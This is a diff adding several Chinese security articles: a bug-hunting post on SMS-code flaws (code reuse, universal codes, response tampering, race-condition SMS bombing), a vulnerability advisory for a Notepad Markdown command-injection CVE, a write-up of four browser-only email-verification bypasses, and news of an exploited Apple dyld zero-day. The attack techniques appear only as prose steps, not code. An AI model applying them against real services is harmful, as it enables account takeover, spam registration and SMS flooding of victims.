+![](https://mmbiz.qpic.cn/sz_mmbiz_png/ELQKhUzr34zLwtVUBEibzhvxzLXqGOSw0PsibnTpsE82U5zJFwribY0EP4CMFaKMpl4mINKxfP9ev0CtfRkq0yibicw/640?wx_fmt=png&from=appmsg "") + +4 位数 + 无风控 = 嫂子你在“裸奔”啊。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ELQKhUzr34zLwtVUBEibzhvxzLXqGOSw0v15aymtLEIoVSL34E7lwVIg7qN6vQsiaQlScUkLWVQsJqkCiaQmXLibVw/640?wx_fmt=png&from=appmsg "") + +这就意味着,我可以批量注册几千个账号,甚至把他们的数据库塞满垃圾数据。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ELQKhUzr34zLwtVUBEibzhvxzLXqGOSw0zeSOwBsicA1ppEV32Jk8W1X7toaslHCggSbMmib6Lcpp3c6I0GAIIMcQ/640?wx_fmt=png&from=appmsg "") + + +3 + +举一反三 + +今天这两个洞,就是短信验证码业务中最经典的安全盲区。 + +如果这两个点被堵住了,我们是不是就没戏了? + +当然不是,逻辑漏洞的玩法远不止于此。 + +在实战中,针对验证码/登录逻辑,我们通常还可以尝试以下姿势: + +1. **验证码复用:** + +有些系统虽然有验证码,但验证成功后不销毁。这意味着我可以拿着一个正确的验证码,在有效期内无限次使用,直接批量修改密码。 + +1. **万能验证码:** + +为了方便测试,开发有时候会留后门,比如 +8888 +或 +0000 +可以登录任意账号。别笑,这种事在很多外包项目里真的存在。 + +1. **返回包篡改:** + +如果后端只校验状态码(例如前端 +JS +判断 +code: 200 +就跳转),那我们直接拦截响应包,把 +code: 403 +改成 +200 +,有时候能直接欺骗前端进入系统。 + +1. **并发竞争:** + +如果系统有“每天只能发送 +5 +次”的限制,试试用  +Turbo Intruder +发起高并发请求,瞬间发出去  +100 +个包,往往能突破次数限制,甚至造成短信轰炸。 + + + +挖洞永远不是死记硬背,而是比开发者多想一步。 + + +如果你是一个长期主义者,欢迎加入我的知识星球,本星球日日更新,包含号主大量一线实战,全网独一无二,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款 + +![](https://mmbiz.qpic.cn/mmbiz_png/YmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ/640?wx_fmt=png&from=appmsg "") + +往期回顾# +# 如何利用ai辅助挖漏洞 +# +# 如何在移动端抓包-下 +# +# 如何绕过签名校验 +# + +[一款bp神器](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495880&idx=1&sn=65d42fbff5e198509e55072674ac5283&chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&scene=21#wechat_redirect) + + +[挖掘有回显ssrf的隐藏payload](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496898&idx=1&sn=b6088e20a8b4fc9fbd887b900d8c5247&scene=21#wechat_redirect) + + +[ssrf绕过新思路](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495841&idx=1&sn=bbf477afa30391b8072d23469645d026&chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&scene=21#wechat_redirect) + + +[一个辅助测试ssrf的工具](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496380&idx=1&sn=78c0c4c67821f5ecbe4f3947b567eeec&chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&scene=21#wechat_redirect) + + +[dom-xss精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247488819&idx=1&sn=5141f88f3e70b9c97e63a4b68689bf6e&chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&scene=21#wechat_redirect) + + +[年度精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect) + + +[Nuclei权威指南-如何躺赚](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487122&idx=1&sn=32459310408d126aa43240673b8b0846&chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&scene=21#wechat_redirect) + + +[漏洞赏金猎人系列-如何测试设置功能IV](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486973&idx=1&sn=6ec419db11ff93d30aa2fbc04d8dbab6&chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&scene=21#wechat_redirect) + + +[漏洞赏金猎人系列-如何测试注册功能以及相关Tips](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect) + +[‍](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect) + + + + + + diff --git a/doc/2026-02/【已复现】Microsoft Windows 记事本命令注入漏洞(CVE-2026-20841).md b/doc/2026-02/【已复现】Microsoft Windows 记事本命令注入漏洞(CVE-2026-20841).md new file mode 100644 index 00000000..c9fb1c7e --- /dev/null +++ b/doc/2026-02/【已复现】Microsoft Windows 记事本命令注入漏洞(CVE-2026-20841).md @@ -0,0 +1,118 @@ +# 【已复现】Microsoft Windows 记事本命令注入漏洞(CVE-2026-20841) +原创 360漏洞研究院 + 360漏洞研究院 360漏洞研究院 2026-02-12 04:24 + +“扫描下方二维码,进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与!” + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/5nNKGRl7pFgrNicMticDTWVCUWbOwRuWcrYSpAlwDRibKNLbe3KialEfR0Y2PlPAvS4MN50asXETicAviaRy1gRicI2Dw/640?wx_fmt=gif&from=appmsg "") + + +

漏洞概述

漏洞名称

Microsoft Windows 记事本命令注入漏洞

漏洞编号

CVE-2026-20841

公开时间

2026-02-10

POC状态

已公开

漏洞类型

命令注入

EXP状态

未公开

利用可能性

低

技术细节状态

已公开

CVSS 3.1

8.8

在野利用状态

未发现

+ + +**01** + +影响组件 + + + +Microsoft Windows 记事本是一款预装于 Windows 系统的轻量级文本编辑器,广泛用于日常文档处理。 + +漏洞影响其 Markdown 渲染引擎的实现,具体版本为 11.0.0 至 11.2510 之前的版本。 + + +**02** + +**漏洞描述** + + + +近日,Microsoft 安全响应中心(MSRC)披露了 Windows 记事本应用存在一个高危命令注入漏洞(**CVE-2026-20841** +)。该漏洞源于应用未能正确处理命令中的特殊字符(CWE-77),导致攻击者可通过构造恶意文本文件,诱使用户在联网状态下打开文件,从而触发远程代码执行(RCE)。 + + +记事本在解析 Markdown 中的 file:/// 链接时,未对 URL 中的特殊字符(如 @ 端口、UNC 路径)进行充分过滤,导致攻击者可嵌入指向远程 WebDAV/SMB 共享的恶意路径。当用户点击链接且系统已关联可执行扩展名(如 .py、.jar)时,记事本将直接调用 ShellExecute 打开该远程文件,造成**任意代码执行** +。 + + +**03** + +**漏洞复现****** + + + +360漏洞研究院已复现Microsoft Windows 记事本命令注入漏洞(CVE-2026-20841),通过构造的 Markdown 链接可触发计算器运行。 + +![](https://mmbiz.qpic.cn/mmbiz_png/dZ7ia5iaWFzz8M4R2Bl6C8lo7x4wH3zDicqoTl2q9KnZ0zGXEB3vad2AzL2VVtdgDZ4MCS8k3OcuTw2rSwZpopyy5Phnl3mmwkg9HflpelzN08/640?wx_fmt=png&from=appmsg "") + +CVE-2026-20841 Microsoft Windows 记事本命令注入漏洞复现 + + +**04** + +**漏洞影响范围****** + + + +受影响的软件版本: + +11.0.0 <= Windows 记事本 < 11.2510 + + +**05** + +**修复建议****** + + + +**正式防护方案** + +建议用户访问 Microsoft Store(Windows 应用商店),将 Windows Notepad 升级至官方最新版本(≥11.2510),以获取针对该漏洞的安全修复。 + + +**06** + +**时间线** + + + +2026年02月12日,360漏洞研究院发布本安全风险通告。 + + +**07** + +参考链接 + + + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841 + +https://www.cve.org/CVERecord?id=CVE-2026-20841 + + +08 + +更多漏洞情报 + + + +建议您订阅360数字安全-漏洞情报服务,获取更多漏洞情报详情以及处置建议,让您的企业远离漏洞威胁。 + + +邮箱:360VRI@360.cn + +网址:https://vi.loudongyun.360.net + + + +“洞”悉网络威胁,守护数字安全 + + +**关于我们** + + +360 漏洞研究院,隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”,并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个,收获诸多官方公开致谢。研究院也屡次受邀在BlackHat,Usenix Security,Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果,并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力,帮助各大企业厂商不断完善系统安全,为数字安全保驾护航,筑造数字时代的安全堡垒。 + + diff --git a/doc/2026-02/手搓漏洞:4种无工具绕过邮箱验证的实战技法.md b/doc/2026-02/手搓漏洞:4种无工具绕过邮箱验证的实战技法.md new file mode 100644 index 00000000..2aa881d8 --- /dev/null +++ b/doc/2026-02/手搓漏洞:4种无工具绕过邮箱验证的实战技法.md @@ -0,0 +1,146 @@ +# 手搓漏洞:4种无工具绕过邮箱验证的实战技法 +原创 骨哥说事 + 骨哥说事 骨哥说事 2026-02-12 02:15 + +

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

# + +# + +****# 防走失:https://gugesay.com/archives/5317 + +******不想错过任何消息?设置星标****↓ ↓ ↓** +**** +# + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jlbXyV4tJfwXpicwdZ2gTB6XtwoqRvbaCy3UgU1Upgn094oibelRBGyMs5GgicFKNkW1f62QPCwGwKxA/640?wx_fmt=png&from=appmsg "") + +在本文中,作者分享了一些在真实世界中,完全**无需工具** +即可绕过邮箱验证的独特方法——无需 Burp Suite,无需扫描器,没有任何花哨的技术。 仅需一个浏览器、逻辑思维以及好奇心。 + +该文章适合那些喜欢靠思考而不是工具来发现漏洞的研究者。 +### 1️⃣ 通过“禁用注册按钮”绕过 OTP 验证 + +所述网站的注册流程如下: 用户输入邮箱地址后,系统会在下一步要求输入 OTP(一次性密码)。 只有在 OTP 验证成功后,**注册按钮** +才会变得可点击。 + +**漏洞发现过程** +1. 作者填写了所有必填的详细信息,如姓名和密码。 + +1. 输入一个邮箱地址后,应用程序要求进行 OTP 验证。 + +1. 在此阶段,注册按钮存在,但处于禁用状态。 + +1. 检查注册按钮后,作者发现其属性为 disabled=true +。 + +1. 随后移除了按钮上的 disabled + 属性。 + +1. 注册按钮立即变为可点击状态。 + +1. 点击后,账户在**未验证 OTP 的情况下** +被成功创建。 + +![file](https://mmbiz.qpic.cn/mmbiz_png/TKdPSwEibsZhn57MM24Bx8FXG4jMib8ENjgv5a2PaOQMEv2cSnrXvhfSkGPmGWxPFrhMdl9ibb9hS8hqQYwPg9Pxxp2lDZ0o0cVOfh7dDsY0eE/640?wx_fmt=png&from=appmsg "") + + +由于作者已无法访问其账户,因此无法确认该漏洞是否已被修复。 +### 2️⃣ 通过“招聘方注册流程”绕过邮箱验证 + +作者最初将此问题提交为**低危** +,但经过评估影响范围后,目标方将其升级为**高危** +。该应用具有两种不同的注册流程: +- **学生注册** + – 工作流程正常,在账户创建前强制执行邮箱验证。 + +- **招聘方注册** + – 首先要求提供邮箱和密码,然后将用户重定向到订阅/支付页面。 + +**漏洞原理** +1. 使用招聘方注册页面,通过输入邮箱和密码创建了一个账户。 + +1. 提交详细信息后,应用程序将用户重定向到付款/订阅页面。 + +1. **没有完成支付** +,直接离开了该页面。 + +1. 接着,访问了**学生登录页面** +(而非注册页面)。 + +1. 使用在招聘方页面创建的同一组凭据进行登录。 + +1. **登录成功** +,没有任何邮箱验证。 + +![file](https://mmbiz.qpic.cn/mmbiz_png/TKdPSwEibsZgT4223icRh2ibEt9WEkjYSqGQbiaIiaoaXncb8rpWKJPOWI0k0ibPVAbpSThZzOCkiaIvX3HUwkLRG7frXcPuY5wMBxQhEfGtFLAmGI/640?wx_fmt=png&from=appmsg "") + + +该漏洞已被成功修复,作者也获得了相应的赏金。 +### 3️⃣ 通过“编辑个人资料”来绕过邮箱变更验证 + +此问题涉及**修改账户邮箱** +时的漏洞,与注册无关。 应用程序在“编辑个人资料”页面内提供了“更改邮箱”功能。 + +**预期行为** +- 用户点击“更改邮箱”。 + +- OTP 被发送到当前邮箱地址。 + +- OTP 验证成功后,邮箱地址被更新。此邮箱变更功能是整个“编辑个人资料”页面中的一个模块。 + +(点击回车或点击查看完整尺寸图片) + +![file](https://mmbiz.qpic.cn/mmbiz_png/TKdPSwEibsZial6tUEbvjiatwtz18Zl71pONApKTu4s6w9joibRzgyKOGps8nQpbddJDDDhenDSGIVZThENVQztsGeRGec9HSfoFWyVcIibpbAos/640?wx_fmt=png&from=appmsg "") + + +作者没有保存赏金截图,但确认漏洞已修复,并收到了赏金。 + +**漏洞原理** +1. 导航到“编辑个人资料”页面中的“更改邮箱”部分。 + +1. 邮箱输入字段显示为只读。 + +1. 检查该邮箱输入字段后,移除了 readonly + 属性。 + +1. 直接修改了邮箱地址(**没有点击“更改邮箱”按钮** +)。 + +1. 没有使用专门用于邮箱的按钮,而是点击了**保存个人资料** +按钮(用于保存整个个人资料)。 + +1. 个人资料成功保存,邮箱地址在**没有任何 OTP 验证** +的情况下被更新。 + +### 4️⃣ 通过“次要邮箱升级”来绕过邮箱验证 + +该方法思路较为独特。 该网站允许用户创建账户并立即登录,但除非邮箱地址通过验证,否则个人资料会标记为**未验证** +。 + +**漏洞原理** +1. 使用他人的邮箱地址创建了一个账户,**没有进行验证** +。 + +1. 登录该账户,并导航至“账户设置”。 + +1. 发现其中有一个“添加次要邮箱地址”的选项。 + +1. 添加了一个可控并能验证的邮箱地址作为次要邮箱,并完成了验证。 + +1. 验证之后,应用程序允许将**次要邮箱标记为主要邮箱** +。 + +1. 执行此操作后,出现了意外情况:最初用于注册的那个邮箱地址(即他人的邮箱),现在自动被标记为已验证。 + +![file](https://mmbiz.qpic.cn/mmbiz_png/TKdPSwEibsZhEQRtGG7ploZNUeKNzJKpncbn4kvxOib80cAG0SKH28icAUicZg2vvqSD3Bffll6iaOb9mEpmlvL8R0c1EicTYoV2nZLUWqx6NKGl8/640?wx_fmt=png&from=appmsg "") + + +作者未收到目标方的回复。 + +原文:https://infosecwriteups.com/5-ways-to-bypass-email-verification-without-using-any-tool-87bfbe7fc156 + +- END - + +**感谢阅读,如果觉得还不错的话,动动手指给个三连吧~** + diff --git a/doc/2026-02/苹果零日漏洞遭恶意利用,发起复杂攻击,目标直指个人用户.md b/doc/2026-02/苹果零日漏洞遭恶意利用,发起复杂攻击,目标直指个人用户.md new file mode 100644 index 00000000..966d174a --- /dev/null +++ b/doc/2026-02/苹果零日漏洞遭恶意利用,发起复杂攻击,目标直指个人用户.md @@ -0,0 +1,31 @@ +# 苹果零日漏洞遭恶意利用,发起复杂攻击,目标直指个人用户 +原创 网络安全9527 + 网络安全9527 安全圈的那点事儿 2026-02-12 05:17 + +苹果公司于 2026 年 2 月 11 日发布了 iOS 26.3 和 iPadOS 26.3,修复了 40 多个漏洞,其中包括 dyld 组件中的一个严重零日漏洞,该漏洞已被积极用于定向攻击。 + +此次更新解决了 CVE-2026-20700 漏洞,该漏洞是由谷歌威胁分析小组发现的内存损坏漏洞,它允许具有内存写入权限的攻击者执行任意代码。 + +苹果公司的动态链接编辑器 Dyld 负责在 iOS、macOS 和其他平台上加载和链接动态库。此漏洞 (CVE-2026-20700) 源于状态管理不当,导致内存损坏,进而引发代码执行。 + +苹果指出,这是针对 iOS 26 版本之前的特定目标个人发起的“极其复杂的攻击”的一部分,并将其与 2025 年 12 月发布的 CVE-2025-14174 和 CVE-2025-43529 修复程序联系起来。 + +攻击链很可能始于初始访问,可能是通过网络钓鱼或零点击漏洞利用获得内存写入权限,然后再利用 dyld 实现持久化或权限提升。 + +此次攻击的目标包括记者或活动人士等知名人士,这与国家级间谍软件攻击活动(例如 Pegasus 或谷歌报告中提及的那些活动)相符。目前尚无公开的概念验证,但苹果公司迅速发布补丁凸显了该威胁的严重性。 +## 苹果零日漏洞被利用 + +利用此漏洞需要事先入侵系统,例如通过 WebKit 渲染或内核漏洞(此更新已修复这些漏洞)。一旦成功写入内存,攻击者便会在库加载期间破坏 dyld 的状态,从而劫持控制流以执行 shellcode。 + +如果巧妙地串联起来,这将绕过指针认证码 (PAC) 或 KASLR 等缓解措施,并可能安装持久性间谍软件以窃取数据。 + +苹果通过“改进的状态管理”修复了这个问题,很可能增强了dyld函数内存分配和链接阶段的验证。受影响的设备包括iPhone 11+、新款iPad Pro、iPad Air和iPad mini,如果不打补丁,数十亿台设备将面临风险。 + +iOS 26.3 修复了 37 个以上的漏洞,涵盖辅助功能(锁屏泄露)、内核(root 权限提升)、WebKit(拒绝服务攻击/崩溃)和沙盒(突破)。值得注意的是:CoreServices 的 root 权限竞争条件漏洞 (CVE-2026-20617/20615) 和照片锁屏访问权限漏洞 (CVE-2026-20642)。感谢 Jacob Prezant、Trend Micro ZDI 等研究人员以及匿名发现者。 + +这是苹果公司在2026年修复的首个零日漏洞,此前在2025年已修复了七个,这表明高级威胁依然存在。虽然此次漏洞修复针对特定目标,但公开披露可能导致更广泛的滥用;如果没有远程入侵,大规模间谍软件不太可能被广泛使用。 + +用户应立即通过“设置”>“通用”>“软件更新”进行更新——自动安装默认已启用。企业:强制执行 MDM 策略,并通过 Apple 统一日志记录监控异常情况。 + +禁用不必要的功能,例如 iPhone 镜像(已修复 UI 问题 CVE-2026-20640)。网络安全专家:分析 dyld 是否存在类似漏洞;关注 CISA KEV 目录,了解相关要求。 +